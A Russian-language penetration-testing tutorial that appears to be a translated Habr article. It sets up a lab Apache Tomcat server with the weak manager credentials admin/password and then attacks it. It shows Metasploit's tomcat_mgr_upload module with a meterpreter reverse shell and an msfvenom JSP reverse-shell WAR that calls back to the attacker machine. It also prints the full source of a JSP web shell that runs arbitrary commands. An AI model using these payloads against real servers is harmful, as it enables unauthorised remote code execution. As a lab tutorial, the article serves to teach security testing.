Как стать автором
Обновить

Тестирование на проникновение: Tomcat

Время на прочтение6 мин
Количество просмотров2.1K
Автор оригинала: Raj

При тестировании на проникновение крайне важно обращать внимание на наличие Apache Tomcat — одного из самых популярных веб-серверов. Изначально Apache Software Foundation разработала Tomcat как платформу для демонстрации технологий Java Servlet и JavaServer Pages (JSP), которые служат основой для Java веб-приложений. Со временем, Tomcat расширил свои возможности, чтобы поддерживать дополнительные Java веб-технологии.

Кроме того, одной из заметных особенностей Tomcat является поддержка развертывания веб-приложений с помощью файлов WAR (Web Application Archive). Эти файлы содержат в себе все компоненты веб-приложения — код, страницы и другие файлы, что значительно упрощает процесс развертывания. Tomcat позволяет пользователям загружать и запускать эти WAR-файлы, предоставляя возможность размещать свои приложения в интернете.

Помимо WAR-файлов, Tomcat также поддерживает развертывание JSP-страниц. JSP — это технология, позволяющая разработчикам создавать динамические веб-страницы с использованием Java. Tomcat способен выполнять эти JSP-страницы, что делает его универсальной платформой для хостинга самых разных веб-приложений.

По умолчанию Tomcat поддерживает использование WAR-файлов и JSP-страниц. Однако администраторы могут настраивать параметры для обеспечения безопасности и контроля над загрузками файлов, тем самым повышая общую защищённость сервера.

Оглавление

  • Настройка лаборатории

  • Установка

  • Конфигурация

  • Enumeration

  • Эксплуатация с использованием Metasploit Framework

  • Ручная эксплуатация (Reverse shell)

  • Ручная эксплуатация (Web shell)

  • Заключение

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Настройка лаборатории

В этой статье мы настроим сервер Tomcat на машине с Ubuntu и проэксплуатируем уязвимость загрузки файлов. Используемые машины:

Целевая машина: Ubuntu (192.168.1.5)  

Машина атакующего: Kali Linux (192.168.1.7)

Установка

Apache Tomcat требует установленного Java, поэтому на сервере вам нужно установить Java JDK. Для установки используйте следующую команду:

apt install openjdk-11-jdk

Добавьте нового пользователя с именем tomcat с помощью следующей команды:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

Скачайте файл Tomcat в формате tar.gz с официального сайта.

Скачайте последнюю версию с сайта на машину с Ubuntu и распакуйте загруженные файлы.

wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz

tar -xvf apache-tomcat-10.1.20.tar.gz

Переместите извлечённую папку в директорию /opt/tomcat, дайте права владельца пользователю tomcat и установите права на выполнение для файлов.

mv apache-tomcat-10.1.20/* /opt/tomcat

chown -R tomcat: /opt/tomcat

sh -c 'chmod +x /opt/tomcat/bin/*.sh '

Создайте файл tomcat.service в директории /etc/systemd/system/ и добавьте в него следующее содержимое:

[Unit]

Description=Apache Tomcat

After=network.target

[Service]

Type=forking

User=tomcat

Group=tomcat

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64

Environment=CATALINA_PID=/opt/tomcat/tomcat.pid

Environment=CATALINA_HOME=/opt/tomcat

Environment=CATALINA_BASE=/opt/tomcat

Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

ExecStart=/opt/tomcat/bin/startup.sh

ExecStop=/opt/tomcat/bin/shutdown.sh

ExecReload=/bin/kill $MAINPID

RemainAfterExit=yes

[Install]

WantedBy=multi-user.target

Перезагрузите демон systemd, чтобы применить изменения, с помощью следующей команды

systemctl daemon-reload

Также включите сервис tomcat, чтобы он запускался автоматически при перезагрузке системы

systemctl enable --now tomcat

Проверьте статус сервера tomcat:

systemctl status tomcat

Конфигурация

После завершения установки необходимо произвести настройку сервера Tomcat.

Чтобы создать пароль администратора, внесите изменения в следующий файл:  

nano /opt/tomcat/conf/tomcat-users.xml

Добавьте следующий код перед строкой </tomcat-users>:

<role rolename="admin-gui"/>

<role rolename="manager-gui"/>

<user username="admin" password="password" roles="admin-gui,manager-gui"/>

Чтобы включить удалённый доступ к Tomcat Manager, внесите следующие изменения в файл context.xml, который находится в директории manager и host-manager.

nano /opt/tomcat/webapps/manager/META-INF/context.xml  

nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

Удалите следующую строку из обоих файлов, как показано ниже:

После внесения изменений перезапустите сервис tomcat в Ubuntu.

systemctl restart tomcat

Убедитесь, что сервер Tomcat запущен и работает на машине с Ubuntu на порту 8080.

Enumeration

Используя Kali Linux в качестве машины атакующего, Enumeration можно выполнить с помощью nmap.

nmap -p 8080 -sV 192.168.1.5

Эксплуатация с использованием Metasploit Framework

Попробуем эксплойт из Metasploit. В данном случае используется exploit/multi/http/tomcat_mgr_upload.

Внутри Metasploit введите следующие команды для запуска эксплойта:

use exploit/multi/http/tomcat_mgr_upload

set rhosts 192.168.1.5

set report 8080

set httpusername admin

set httppassword password

show targets

set target 2

set payload linux/x86/meterpreter_reverse_tcp

exploit

Видим, что нам удалось получить реверс-шелл, и мы можем выполнять команды через оболочку meterpreter.

Эксплуатация вручную (Reverse Shell)

Кроме того, злоумышленники могут выполнить вышеописанную процедуру эксплуатации вручную. Для этого им сначала нужно создать файл .war с помощью msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

Далее, после создания файла shell.war, злоумышленники должны загрузить его в приложение Tomcat Manager.

Для доступа к Manager App пользователю необходимо пройти базовую аутентификацию. Обычно чтобы получить доступ к приложению Tomcat manager, в качестве имени пользователя используется admin, а пароль — password.

После входа в систему они могут загрузить ранее созданный файл shell.war с помощью функции развертывания WAR-файлов.

После загрузки файла его можно увидеть в разделе загруженных файлов.

Перед выполнением загруженного файла запустите netcat-листенер на 1234 порту:

rlwrap nc -lvnp 1234

Затем нажмите на /shell, чтобы запустить файл и получить обратную оболочку.

Reverse shell будет получен на порту 1234.


Эксплуатация вручную Web Shell

Для получения веб-оболочки злоумышленники могут использовать .war-файл, который содержит .jsp-файлы. После загрузки .war-файла на сервер появляется доступ к webshell.

Чтобы создать .war-файл, содержащий .jsp-файлы, пользователи должны установить Java на Kali Linux.

apt install openjdk-11-jdk

Теперь создайте директорию webshell, в которую мы поместим файл index.jsp.

mkdir webshell  

cd webshell  

nano index.jsp

Скопируйте следующий код в файл index.jsp для веб-шелла.

<FORM METHOD=GET ACTION='index.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd,null,null);

         BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) { output += s+"</br>"; }

      }  catch(IOException e) {   e.printStackTrace();   }

   }

%>

<pre><%=output %></pre>

После создания файла index.jsp можно создать пакет, преобразовав директорию в файл .war.

jar -cvf ../webshell.war *

После создания файла webshell.war загрузите его с помощью функции деплоя.

Страницу index.jsp можно открыть в загруженной директории webshell, и таким образом получить вебшелл.

Альтернативный способ выполнить вышеописанную ручную эксплуатацию — скачать файл cmd.jsp и создать архив webshell.war с помощью zip.

Файл webshell jsp можно скачать здесь!

После того как файл cmd.jsp будет скачан, файл revshell.war можно создать с помощью следующей команды

 

zip -r revshell.war cmd.jsp

Снова повторим ту же процедуру, что обсуждалась ранее. Загрузим файл revshell.war через функцию развертывания. Веб-оболочка доступна после перехода по адресу

Заключение

По сути, Apache Tomcat по-прежнему остается предпочтительным выбором для развертывания Java-веб-приложений, предлагая сочетание универсальности и безопасности, которое отвечает разнообразным требованиям как разработчиков, так и администраторов. Тем не менее, из-за неправильных настроек злоумышленники могут злоупотреблять сервером и выполнять нежелательные действия, такие как удаленное выполнение кода.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Теги:
Хабы:
+1
Комментарии1

Публикации